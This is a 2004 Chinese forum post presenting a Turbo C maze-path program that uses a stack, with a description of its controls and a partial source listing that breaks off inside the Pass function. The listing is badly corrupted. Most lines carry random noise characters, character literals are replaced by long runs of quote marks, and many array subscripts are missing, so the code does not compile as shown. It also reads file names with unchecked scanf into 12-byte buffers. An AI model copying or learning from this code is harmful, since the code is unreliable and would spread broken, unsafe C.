QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7658|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
! G+ L9 W. N5 p$ t3 w3 c9 k< align=left>程序目的:
! i  S4 |* W8 i& p, ?8 @% x输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并# w! D1 L# m' B) S
显示在屏幕上。
. M; w( L4 Y8 F! d9 z/ j9 }  O5 U, l程序实现:
4 F2 `8 q1 Y! M' G/ \可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
7 U5 ]& A- T" R文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载, X! @) T4 Y0 I8 T9 _
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫2 ^* X' F* u( E, D$ |8 F3 r
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
2 @( E& j% Q% u否则会出现错误信息。输入开始时全是墙,用上下左右键移动,+ `! b, w7 K. r2 d1 ^- n6 U
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以) y( ^& o3 F) H+ F9 X+ Y5 n
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
5 U" A8 L* Y: J! A2 b$ W$ c! W* [找到路径时,屏幕下方会出现Path found,否则出现Path not found。
& X0 g/ J: X7 n程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
2 Z! L5 A6 g( q2 m/ c不可以在VC上编译。
8 m3 X2 M5 }* \& p/ K6 R/ C4 [下载DOS版和windows版的迷宫游戏全部代码0 e0 s. }  v' Q: h& R+ {
用户名:migong 8 G& X) i, R0 l6 @
----------------------------------------------------------------------------------4 x! B9 V" E" {& |2 F, L
/*: q; S- A( U8 p7 Y6 I9 @/ r
MazePath Demo BY Turbo C 2.0, X5 a" n& y- {+ `% X1 z3 h
Copyright(c) RoverUnion. All right reserved.
; p/ V$ }4 E, I# I0 d) `% B4 H8 e1 MFilename: Maze.c/ B3 ?! E) }& J2 e
Author Dongchengyu.
' k' ^2 n0 k5 a0 H: aVer 1.10
: g# ^% Q& L8 s, N4 X! a+ Y1 v*/
" l7 z; H! y4 q9 l$ ]8 \. `#include &lt;stdio.h&gt;
8 t' m9 a; E8 N, m; T#include &lt;stdlib.h&gt;
' E& d2 j: U/ K#include &lt;malloc.h&gt;: A: T' C4 M$ Q/ x/ v
#include &lt;conio.h&gt;* b3 v6 h( y+ f9 j+ P  a
#include &lt;dos.h&gt;
+ n  F( u  U& Z! B2 ^% ~# [6 K#define OK 12 V  \/ e2 y, U1 A8 }$ ?& `9 o
#define ERROR 0( O% g* A9 [8 f% X/ k6 E
#define TRUE 1
  Q) q7 O5 I# {" I: s6 L4 _#define FALSE 0! t$ z2 a7 c; A. y4 |9 n( h
#define F9 0x43
9 x* g7 r0 |* w#define Esc 0x1b
8 B1 H2 x) S3 N7 f4 {#define Del 0x536 g4 Q1 X, S& f. H% t. b# T6 U
#define Home 0x47# T; J$ i8 h* J9 O! o& l
#define End 0x4f
- ^) M4 |* G$ V. {#define Space 0x20/ ]4 r; Z5 N# E* N9 e6 _
#define Up 0x48( n" G9 x3 V8 F4 u
#define Down 0x50
8 J8 u' h  p  h#define Left 0x4b6 _2 x% m7 P: X) F: a' D. y( }
#define Right 0x4d1 V% R' @; Q) a5 b6 F6 j
#define Enter 0x0d0 y' V# ~1 d- N1 P5 Z7 ^
#define F2 0x3c0 T8 Y' l6 ]0 R2 `' F& }5 i
#define F3 0x3d! T+ l5 H4 z- ?* ^/ Q# J# B' Q7 \! u
#define STACK_INIT_SIZE 200$ E/ P$ N0 ^$ K1 a3 c1 }
#define STACKINCREMENT 10' P, }' L% M6 Q8 Y
typedef int Boolean;
1 ?& ?' e5 y# {typedef int Status;  d  l" N. z0 x  @, K) z! Z# p
typedef struct {) u9 L7 i; X% W3 Y& H0 z% }6 }* c
int x;; ]* t1 a' V* _# s1 V$ Y
int y;
# M" `+ s% v/ F! ^1 B} PosType;
' E. Q8 W# k% s( X& Utypedef struct {- P; v0 O6 @- M
int ord;
* G/ |6 p/ S7 i7 \* _! i, l; lPosType seat;+ u" j1 \' l+ P7 Y2 N9 l! f
int di;
9 Y9 r0 {( g1 o} SElemType;. @7 }5 L2 q- d- ]# r4 F9 n
typedef struct {
6 m: ]) [# B) x+ x) Eint td;
7 p9 ^, j  ]. @7 c! Uint foot;
0 B' c: d% Q; s/ K+ h, jint mark;4 t0 |6 W# e$ g0 f( J$ y4 T
} MazeType;
2 y8 J! _( v  R$ V1 xtypedef struct {
0 l0 k  H6 ]7 q5 U6 j1 V/ wSElemType *base;
# ^, b; X# D, x( k  G! mSElemType *top;
! P0 s  I& I- G# a, Mint stacksize;6 f4 P, ?7 [$ m# [! a
} Stack;! V7 L& h5 {8 D0 [
int Maze[20][30];& \/ b( V& c+ B# x/ o
MazeType maze[20][30];- I; i/ T& g6 N- x
PosType StartPlace;$ M/ z1 f% I, Z9 _  ^
PosType EndPlace;/ e6 K. `  I9 h- P1 i( q% S
int count;  [; s( l4 j* r0 Z
int m,n;$ P5 I# q7 I  b& O* q( O7 V) P3 N8 C+ S
Boolean b_start=FALSE,b_end=FALSE;1 U/ W9 B' t3 S: Q* k. w# M2 ^8 T
void CreatMaze(void);
" ?' J) @7 Q' g  \/ O: F( K& y6 aStatus SaveMaze(char *filename);
4 F7 Y' X6 @- `2 @Status LoadMaze(char *filename);
; l# P, K2 Q8 `; h/ ~void Error(char *message);
5 K4 Y9 L5 e& AStatus InitStack(Stack *s);! y/ T' L$ O% \* K
Status DestroyStack(Stack *s);
( |9 F$ l) I* IStatus ClearStack(Stack *s);7 L3 e' D+ f" P
Boolean StackEmpty(Stack *s);9 `0 Z8 x6 K4 B  f* T. O" ~
int StackLength(Stack *s);
2 z+ Q; T) H4 _8 e( `Status Push(Stack *s,SElemType e);
; P2 p# Q# W1 O" |SElemType Pop(Stack *s,SElemType e);1 A" g1 v" r3 M1 e9 v
Status GetTop(Stack *s,SElemType *e);4 G6 H' K" C" \; n0 T
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));1 y% I* d' h: Z. q' E4 I
Boolean Pass(PosType curpos);
) D- U# F0 d/ q6 `void MarkPrint(PosType seat);
' g; q3 @' F0 G6 Q  S( c) ]void FootPrint(PosType curpos);$ `$ j- i3 {. [2 A/ `. s/ A' P  a3 H5 ~
PosType NextPos(PosType seat,int di);; g: q2 D2 Q0 e& @$ w: r0 ^
Status MazePath(PosType start,PosType end);
; ]! Y9 [/ s+ U+ |  uvoid CreatMaze(void)
+ W3 O# f" T3 L: q% V  a% L' E6 [" n/* Form the maze. */+ v$ g$ M4 z( Q+ C' P6 l! x
{6 a  W. q5 v! v, P& F1 ^
void Error(char *message);
6 y: Y+ ^8 N9 G. [% |8 ^Status SaveMaze(char *filename);
  ~+ ~- R" Q" [4 j  V3 IStatus LoadMaze(char *filename);
# ^  S" ]: U% A8 k, x6 m) r* E3 nint i,j;4 T3 f, K2 ?+ Q7 |8 H& o
int x,y;" D1 Z9 I- `: {, a
char c;
/ w+ w* M& p& W* q$ `char savename[12],loadname[12];
' E- e, V' ]- bBoolean flag=FALSE,load=FALSE;
3 i- q5 r4 X" u1 K4 jclrscr();" H. q' T6 ~6 h; X
printf("Menu:\n\n");
# l. J$ O; U0 F/ Lprintf("1.Load Mazefile*.dd)\n\n");3 H7 ^6 a6 [( P2 c2 Z, J" d. e
printf("2.Input Maze:\n\n");
/ F7 O+ l! i* d) yprintf("Input your choice: ");& l1 S" z( b0 a4 g( S/ i
do
* T% E7 r% g0 P{. S: q: e8 b! `
c=getch();. W3 u! U. x8 D* `3 b
switch(c)* {4 X) T/ l# o' ?+ G
{# D- x7 H/ Y# r
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
  y) X- k% W$ @. F0 J  e( Lcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
( B' m2 C& Q. z4 u8 Pcase Esc: sleep(1); exit(1);
& B4 e4 ?* t8 W  W3 x3 Ndefault: break;
% H8 r, O& t9 {7 g" |}; f% b! E  L& R: I6 l
}) w5 I0 v; G" I' c, W
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;$ F! h9 s. {$ b. Y$ y+ ^
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
: r3 m- G2 W# ^9 T$ I) s$ m1 ^, y! k{# N* z, i: o( ~+ j
printf("\n\nLoadName: ");
+ h+ e( l5 B3 Z) ~scanf("%s",loadname);+ S6 d2 R7 Z. o- z) Y7 r; r
if(LoadMaze(loadname))8 @1 f7 Z& d7 n2 D9 a, ]
{$ U' u$ |( H5 [1 t9 s$ Z
sleep(1); load=TRUE;
1 E, e- z7 J4 {4 Y4 c}$ j% C3 p5 B" n3 o9 C
else { gotoxy(1,9); printf("Load fail! "); }+ N' S6 U6 N; W4 f( q
}
) e4 ~3 F- s9 d8 |* A- g7 |' ^# Pif(!load)
2 v: a$ h. {# I/ d; u{
8 v1 f) w+ X. q$ Z% k! m; v% Y% Uprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
4 R- L0 i; `/ b3 z) D% o1 P7 zprintf("\nInput Length :\n");
' e  {$ O5 k7 n( v. Mscanf("%d",&amp;m);$ F2 P9 W5 F4 D8 H% f/ d
printf("\nInput Width :\n");
& k! t  I4 q6 Xscanf("%d",&amp;n);- Y" h$ H; ~9 V$ t4 X, N
if(m&lt;4||n&lt;4) Error("Input");3 O# M0 s* U5 `& X2 H6 x
if(m&gt;30||n&gt;20) Error("Maze too large");
: `' y  m; i' q3 K- t! c' h6 E3 cfor(i=0;i&lt;30;i++)* x# n$ a0 \1 }
for(j=0;j&lt;20;j++)
4 f) H# U. c4 n* v8 c) FMaze[j]=2;3 ~" L% }  o6 a2 I+ z
StartPlace.x=0;
5 u( d" S" G) ZStartPlace.y=0;
- q  j$ i- w, h( MEndPlace.x=0;, @3 g( I- g3 F/ @& B2 Q2 L4 Y
EndPlace.y=0;
2 u/ I9 S$ @6 ?: ]clrscr();
; o! t1 D) O, c. \9 Mprintf("\n");' ?9 s: t5 A+ Z  i0 _6 k
for(i=1;i&lt;=n;i++)0 }  K# D! C, M+ ?7 R+ R! d8 r7 w
{
' w$ \- c" r5 ?; Y" R2 Nfor(j=1;j&lt;=m;j++)
; ^- F) z+ E5 H  T* }/ k. r3 G{8 w: ]9 n4 c& _4 l
printf(" #");% E8 F; E, p+ {  r3 z$ B
Maze[i-1][j-1]=0;' E1 K4 X* O6 N7 E7 _2 I! N
}
6 z1 I/ w: t  a% Y3 l0 t# t$ r# sprintf("\n");* b- n# j" i6 ?6 w* T
}
# y( a9 C4 g3 N. s8 t1 @}# {1 ]+ c% l, u: v3 \) i) D
gotoxy(65,5);
# Q( M( s6 P; L7 s0 {printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
7 ~  {* u8 L8 Cgotoxy(65,7);4 [. z8 |* |8 i& u, o
printf("Start:Home");( W, B" l8 j3 }  g/ x
gotoxy(65,9);
/ F. m2 {% Q; ?+ I% @6 V) {% wprintf("End:End");4 A& \; ^. N( Y0 ^
gotoxy(65,11);# l2 J) X/ Q# j2 i% Z
printf("Delete Wallel");0 d$ M) I' }2 b# Y: e& ~! V3 {
gotoxy(65,13);) Z/ ]0 g4 }) S/ q' X0 h1 o# d# h
printf("Enter Wall:Enter");
4 T/ s4 U+ ^/ a; {6 A* e* `. O) ^7 C8 h  {0 Xgotoxy(65,15);
5 T" G$ G- l2 ]0 d. Lprintf("Save Maze:F2");: t; b4 C+ O( |) T7 B
gotoxy(65,17);2 b1 S. T7 L7 _+ R) C
printf("Complete:F9");
( Q- e2 n, g- w/ |gotoxy(65,19);
+ D) a! h! }* Sprintf("Exit:Esc");
; M* F$ Z. S9 j3 ?( z) |* Mgotoxy(4,3);4 b1 l' D0 N. q
x=4;y=3;8 t  G$ R" |. H" j# ]& V
do
6 w( i$ r& B2 A) `{
3 D* C% W3 F! Kc=getch();1 p3 c0 c6 a, M
switch(c)
. k6 w3 u) z1 ^! J{1 r7 O3 c* K% M& z" w  E
case Up: if(y&gt;3) { y--; gotoxy(x,y); }% N. v$ u* O8 h& d' g" x# t* ^6 V
break;9 _+ J7 K" S7 @0 C8 `
case Down: if(y&lt;n) { y++; gotoxy(x,y); }
  [. t9 @$ v' D$ S+ z3 h9 Ubreak;: T1 p9 o1 }1 }( U2 A
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }& u2 R: p. W  B" v9 t, o. B. Q
break;
1 m0 J$ ~7 P9 R; |  ^# i  v% [case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
, V4 R6 W: t' @6 ybreak;8 p8 \8 O" X. D! A& R# ~+ j
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
3 L# c7 ], N5 |7 kif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
" |1 S4 `, V- D' Mputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);" a0 ^- G& Q8 a) E
break;, D% T9 V( r8 |
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
* P/ Z5 r: S, l* A4 J$ Lif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
# H) Z. y0 ]! m/ Wputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
" F+ i0 m! v# ^: p: H. }, vbreak;
( T6 e7 y9 H' Vcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)+ \# C* ^& x" K4 X! n8 p
{
! S" k% F! o! D/ L& c1 z; eStartPlace.x=x/2-1;; g4 Z$ ~* ]( H, r* _$ }7 x
StartPlace.y=y-2;
+ [. m5 q% g( J$ t0 {4 Zputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
3 x2 z6 R2 d: y- ^& R' ~gotoxy(x,y);1 C9 t$ U# K( M9 \: [6 ^0 O
b_start=TRUE;
# O# |# |& s  \: K5 a1 @1 S. O}
6 A- j- ]5 v( P- z/ Y5 Ybreak;
0 n  g. F1 G) K7 ~, r% e8 Mcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)% @- e3 _: w8 K2 u' H  O( f' Z1 s
{0 E/ i; [' I- N8 j' P* U9 b
EndPlace.x=x/2-1;+ Z% S+ `# |8 l  k: p9 s/ h
EndPlace.y=y-2;
1 }7 J  x  \. P1 ~! X/ eputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
( t- u, _! Q% w% f  |gotoxy(x,y);
& o8 J' C" X) kb_end=TRUE;
  p0 j& z0 B/ j; g}
" \! b0 R6 b) }! x* A6 G$ {break;1 O! l1 W3 y5 G1 s4 U% V
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);; ^/ B/ @# ]- \7 t, }
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;, U- `& V& N- o+ h( R8 q
case F2: gotoxy(2,22);
$ A( N% ^! T) n9 T$ P+ w1 Cprintf("Savename:");
' p0 y$ [+ _! k. [6 Ascanf("%s",savename);
1 t  W' p' f  _+ z6 }gotoxy(2,22);+ I1 ]9 D$ O* a' v
if(SaveMaze(savename)) printf("Save OK! ");! l. x" e$ j8 ?
else printf("Save fail! ");
* H/ ]+ p# R0 d8 a0 Msleep(1);+ t, R$ q& E. {
gotoxy(2,22);
9 F: O4 D" [4 k! t+ @printf(" ");+ }1 d/ c, e- @5 \& h
gotoxy(x,y);
$ _( Q0 W2 ~, x7 [- M: L7 ]2 t% vbreak;
; Q0 b0 o+ n( [default: break;$ v7 Y' h. K0 @! k
}# v8 [1 u" x; d$ e
}' K/ ~3 [& e6 v3 \5 B
while(!flag);* K0 J( T: S1 d8 H$ O/ w9 A
for(i=0;i&lt;30;i++)
. @8 O- n! T& U5 R5 Pfor(j=0;j&lt;20;j++)
1 u) [, ]$ v$ D{
9 s' G# R1 X, Ymaze[j].td=Maze[j];9 y0 C( `$ N. i, d7 H! |8 k- ?5 o% u. K
maze[j].mark=0;7 g# j+ ~- ~2 A/ A  j
maze[j].foot=0;
" R- d# F) w8 C}
! u0 D9 H1 o4 Y" B}
: d4 x% s$ O, ?/ [5 R7 TStatus LoadMaze(char *file)
1 c& q  G4 `6 Q3 M/* The maze has been loaded. */. p, [/ H2 P( d; x/ y3 d3 i
{
  S& Z, }' k& Z1 O# xFILE *fp;8 Z) Y" V; K# B2 x# i( M
char *buffer;+ y' b; z9 a6 R" h! O  t
char ch;1 _# S# ?% J6 q
int i=0,j,k;
" i% A7 ~  i0 i& r2 G* ZBoolean len=FALSE,wid=FALSE;
/ R8 ]' e) S/ O5 b  V2 v/ [if((fp=fopen(file,"r"))==NULL)
+ v& f7 p6 ~9 @# f& v; B! v( areturn ERROR;
9 Q9 o) B; W1 X, {* nbuffer=(char *)malloc(600*sizeof(char));- [9 E9 m' y1 @5 h6 q+ v
ch=fgetc(fp);0 \3 B" M) a9 H; S1 C  [- r; H
while(ch!=EOF)
+ z7 d! A7 ^/ F: B, k{& F$ e) d# t, }/ W; a& o
buffer=ch;  s3 f7 [8 S( k" I0 F. C( H& u8 H0 T
i++;4 {2 C4 |2 ~/ s0 F3 J1 f9 V9 S
ch=fgetc(fp);
% S, K0 z) p  d! e, N" L, P}: T$ r2 N) k, |& E9 x% j3 E4 O
m=30;n=20;
* K; p3 k/ z4 t' e9 Q. R, W- Hfor(i=0;i&lt;600;i++)
1 l- u9 }1 e2 _/ p$ U5 K, q{
+ m+ g: L2 W" Fj=i/30; k=i%30;: [7 I5 N1 g8 _7 f# c! t
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
+ j2 ^* K" w0 N( P+ c; Cif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }0 w+ F$ @8 w" o5 H
switch(buffer)3 ~$ N5 ~0 U5 a* `' G- o8 A; K
{& S/ U2 l$ I' j3 I" \
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
* o! z* h  k" ]+ K! e) icase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;0 j4 Z, W( c/ P# F: P5 E  m: U
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;8 L% X! s8 Z# z0 k3 Y: C
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
# w( t5 _+ }5 C' f* yStartPlace.x=k;. Z" T# O8 U) H9 O
StartPlace.y=j;# b2 p9 s! s# {9 I* H# x
b_start=TRUE;
( [6 S, L5 l0 L; i6 A+ jbreak;6 ^& }( _1 T. p3 o
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
/ k" l1 {& [! ^3 m! x& b" z8 j9 YEndPlace.x=k;2 Q$ L9 @4 [/ k, S. Q
EndPlace.y=j;- C8 W. t  Z# Q/ R
b_end=TRUE;
' F& _# X8 O0 U% G8 u1 ^' ebreak;
3 f3 n3 {+ _- D2 m1 m6 K( ~default : break;% n+ j2 ^; q) P
}
# }# o3 I, {$ t7 L7 w}
6 F, W" J1 Q' {" m7 U0 R6 a1 efclose(fp);
" T" ^9 c1 k/ o( x" }% Rclrscr();
2 g, n# G: U$ `5 O4 Kfor(i=0;i&lt;30;i++)
9 D: s9 {6 y% {0 @# L: ]for(j=0;j&lt;20;j++)
1 M! e; S8 q8 ?9 T3 _" r4 J{- V/ X) G# P6 E% a- \
maze[j].td=Maze[j];6 f7 t8 k1 ?. B5 i0 }8 L* I
maze[j].foot=0;
7 ?: m, i& y- L) \" h3 Y9 M- u3 xmaze[j].mark=0;: G/ S+ N6 K5 `' W( g. b5 ~
if(Maze[j]==0)
" a3 H& W, f+ |: J. t7 {{
2 C5 _, W, z( n0 Ggotoxy(2*i+2,j+2);  F1 M* Y0 P2 h6 ]' b9 ^" {3 V
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
% g: \9 P3 g. g! h: [}8 _( W% S: C% Q. x
}
; u: i0 D/ S3 p$ ?% A5 C$ [gotoxy(2*StartPlace.x+2,StartPlace.y+2);5 V+ m$ e6 L3 p3 e  V
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');6 B# R3 A1 p$ m; _- g
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
- N0 q! V& h2 T) x% cputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
' x6 V! _, a7 G4 ?return OK;0 u3 X+ u5 Z2 V& a. l" m9 D6 S4 o
}; k7 P0 Z8 g. B
Status SaveMaze(char *filename)
3 p( D1 k  C% B& z/* The maze has been saved. */
/ `! G& h( \7 u/ z7 K{2 |/ D$ `- \5 R1 D* U6 S
FILE *fp;4 ]8 l2 Y! r3 h3 _2 p
char *buffer;
3 O" s: I4 h+ F& Q0 hint i,j,k;
, D, t; q8 S; K1 Dfp=fopen(filename,"wb");  P; y: c. z- e
buffer=(char *)malloc(600*sizeof(char));
7 o$ i# s: l: {, _% _for(i=0;i&lt;600;i++)
* I% S5 a5 l. U{
  @% K& d$ J! o  X: Q5 Mj=i/30; k=i%30;  a4 e$ C; {' C4 B4 ~4 S4 R, E
switch(Maze[j][k])" g9 [. h0 w6 E- w. {7 E, Y
{" T1 P# z2 J6 L9 T& r
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;  I9 d; i- v! _" ~
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;% z; d- D$ R6 C8 }9 _* ~
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
  e7 r0 E) ~) ddefault : Error("Write"); break;
% d' ~+ q/ l+ v/ u8 Z0 F" ]# y- B* e}3 Y- Q( ]$ t9 y0 b
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';' J! v' J& |: k0 R( Q9 G
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';9 b, y+ G. D) c8 `/ P" ]9 E
}$ @3 o+ {& w( K/ u5 [- l- e8 o
fwrite(buffer,600,1,fp);
2 P2 L- i/ I+ V' Efree(buffer);
; X  P; }9 J; r  s; e6 n( qfclose(fp);
( k" Z* ?+ G. D# D. ?4 K6 K1 ]* g& {return OK;4 l  ]5 o, B' ]0 S7 k# R
}5 d6 {2 o* A- P: W. k4 L# n
void Error(char *message)
& Z, X. a6 V/ m" h: s- ]6 P& H{
+ y1 D% r; v# X" ~  f% L) rclrscr();
& x1 Y, L, @/ q1 q8 Efprintf(stderr,"Error:%s\n",message);, v5 j+ j1 u; _- F; |
exit(1);% t! w$ r5 t7 [/ J. S
} /* Error */
7 t% F! @' i7 S$ \) f# I& [# s/ O# i3 L0 A! C* D
Status InitStack(Stack *s): S1 D% j$ z( k, j- e* G- V
/* The stack s has been created and is initialized to be empty. */
" G. {! e+ ^  o* E3 s: b* C{' b* Z* n1 V& g4 D0 @/ j: h& v% K8 _4 D* U
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
1 b/ c' h3 v+ ~) Zif(!s-&gt;base) Error("Overflow");8 D" v5 Q/ _  Z0 c1 H8 b5 {3 z
s-&gt;top=s-&gt;base;
, S0 k6 F: s! |1 f7 a0 Z0 t/ ~s-&gt;stacksize=STACK_INIT_SIZE;6 L# D% h; `2 j' y9 \6 l
return OK;
4 ?* U! e7 `/ B& |} /* InitStack */& s  O, h- \; i) G5 B
Status DestroyStack(Stack *s)' @3 A. a' T! K; W
/* The stack s has been destroyed. */! n2 R5 u, t. y- M+ a7 K
{6 u% I/ Y4 I$ F! g
s-&gt;top=NULL;( C9 z' ]# W9 r$ K  d" A
s-&gt;stacksize=0;
1 K" l6 Y* @- @6 @3 zfree(s-&gt;base);( I. {! |! m+ q8 Z8 F
s-&gt;base=NULL;( h. b4 K$ n! H9 V9 K6 c$ C  v" J
return OK;$ }- l7 F) n$ o; v! O
} /* DestroyStack */
6 y+ J/ ?! t3 f, b# n- C8 \8 C2 ?Status ClearStack(Stack *s)
% Y8 O$ G: g# M: F$ b3 Q/* The stack has been clear to be maximum. */& H7 r3 Y% n; x1 H
{, _  A. e, R9 Q+ {- c
s-&gt;top=s-&gt;base;: [" M7 _. m. V% a
s-&gt;stacksize=STACK_INIT_SIZE;
- s8 Q% p4 N/ Oreturn OK;
- p8 Z/ F7 d1 I& b  o6 N8 H} /* ClearStack */$ P, D+ [! G" K8 V1 L) E" E, G
Boolean StackEmpty(Stack *s)
; A8 K! L/ a4 M( S3 D) l3 l9 H/* Check if the stack s is empty. */
$ T/ ]! p, \5 l, R+ H  R: }& S{
" W. ?  F7 u; \$ B( E3 Sif(s-&gt;top==s-&gt;base) return TRUE;$ j$ |/ V& ?  W$ t0 \. o3 w) g. k! X
else return FALSE;, F0 H7 [* E8 {  l6 D' U" \
} /* StackEmpty */
/ F. W. U3 v/ i/ j; i) _int StackLength(Stack *s)
2 a/ @+ s$ ?( j  F- }# b/* Gain the length of the stack s. */) m5 r1 t) c- v6 T, G' I
{
5 v) Y; C- w- E6 U  l7 kif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);2 g( E' t' K: `9 R
else return 0;! u  e$ I( W0 N4 p5 d
} /* StackLength */# `, \4 _/ p8 U5 e0 M! c. B$ Q: @
Status Push(Stack *s,SElemType e)5 l) {3 F) W" c9 f
/* The element e has been pushed into the stack s. */( O2 z& j  Y9 }
{
1 F) @! Z5 K/ y' qif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
9 d) @; |7 T" s/ ^5 _) A6 p{5 v# C8 K* X- ~/ e4 g
s-&gt;base=(SElemType *)realloc(s-&gt;base,! {1 _0 Y) r* v: u$ p# h
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
/ G& `3 T) m- q0 ]if(!s-&gt;base) Error("Overflow");, X# E. O. j# [0 [8 C+ v
s-&gt;top=s-&gt;base+s-&gt;stacksize;
+ e; g! q4 ^% C3 ~% a0 a8 U5 p' `s-&gt;stacksize+=STACKINCREMENT;
, ?8 u2 J/ {" K0 Q9 C}3 W! G4 K% E/ h4 M
*s-&gt;top++=e;* d  ]. A; L7 O" c/ Y5 v: {5 H
return OK;
; _; k- n* ]% R) U4 A0 _} /* Push */
4 Q; P7 n+ H, v0 y- zSElemType Pop(Stack *s,SElemType e)
( t3 |7 C) |: ~/ ?6 N/* The element e has been removed from the stack s. */
9 Q  `0 Q# {# E* m; Z' l4 E{
) r8 v2 @, X8 h  C2 s$ jif(s-&gt;top==s-&gt;base) Error("op");
( X+ {1 }0 \' Z# [3 k5 C( X6 F6 Ve=*--s-&gt;top;
1 X# p4 \# u7 C, Preturn e;( u, G, i1 b! C* U' \! ~
} /* Pop */& J9 b8 f! m* q- U2 I
Status GetTop(Stack *s,SElemType *e)5 g( t) S& W8 u- i$ w/ T
/* The element e has got to the top of the stack s.*/+ r, ?5 m0 a$ F7 t! b+ n! n8 u! F0 w) X2 g
{
7 ]' B( t6 g6 y; U+ G3 W6 Tif(s-&gt;top==s-&gt;base) Error("GetTop");) @& ~( U6 K' h: U) Y
*e=*(s-&gt;top-1);
" m( V/ e3 [8 b- ureturn OK;
2 Z4 b- {$ q/ _$ k- ]; e" X0 `} /* GetTop */
( `7 o0 I; [* ]' p3 B/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
( ?9 b2 B' O% e' Y" O( `- v7 ?/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se)); W" D/ _- g- @7 c3 Y& ^" L
{
2 e. F7 C: i4 z% iSElemType p;
! U2 J1 v$ V/ |/ hint result;
+ V8 ?8 n; @. j" N7 F3 X: ~if(s-&gt;top==s-&gt;base) return ERROR;7 e8 u# N! l' f, f
p=s-&gt;base;, U4 p* \* {& F6 ]7 m) H. ^. f  A0 X8 N
while(!(p==s-&gt;top))
8 g; c& Z: t& K6 G; h4 ~: O{7 V# Y7 Y& }; M; B  F' a/ W
result=(*visit)(p);9 Q7 H- @& y* d5 ^6 `+ Z. k
p++;
$ Q9 f5 g- s# l+ e/ V}
: U9 e* X6 W2 V! h% g: creturn OK;
! b' _6 G% S7 w) Q} */+ p: T  Z2 ]) J0 U9 D1 N
Boolean Pass(PosType curpos)
# [& m2 j9 F2 W/* Check if the current position can be passed. */$ C2 j# v. k. t5 T  e1 p1 b1 I
{
2 z  }4 S2 `7 _7 qif(maze[curpos.x][curpos.y].td==1&amp;&amp;
  s) t$ D7 `3 ]. c9 umaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)# X$ [6 q$ i; X8 L% O, h
